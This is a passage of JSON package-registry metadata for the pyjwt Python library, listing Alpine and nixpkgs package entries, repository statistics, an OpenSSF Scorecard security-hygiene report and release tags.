st_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":316,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2023-05-23T07:14:38.017Z","updated_at":"2023-05-23T07:14:38.017Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":3640,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1185},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-06-10T05:19:44.026Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}},{"id":12831531,"name":"python311Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-26T20:02:06.392Z","latest_release_published_at":"2026-01-26T20:02:06.392Z","latest_release_number":"2.6.0","last_synced_at":"2026-04-19T00:04:49.011Z","created_at":"2026-01-26T20:02:06.195Z","updated_at":"2026-05-29T04:00:36.318Z","registry_url":"https://search.nixos.org/packages?channel=23.05\u0026query=python311Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python311Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.05/pkgs/development/python-modules/pyjwt/default.nix#L51","metadata":{"nix_attribute":"python3.11-pyjwt-2.6.0","position":"pkgs/development/python-modules/pyjwt/default.nix:51","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mipsel-linux","mips64el-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/m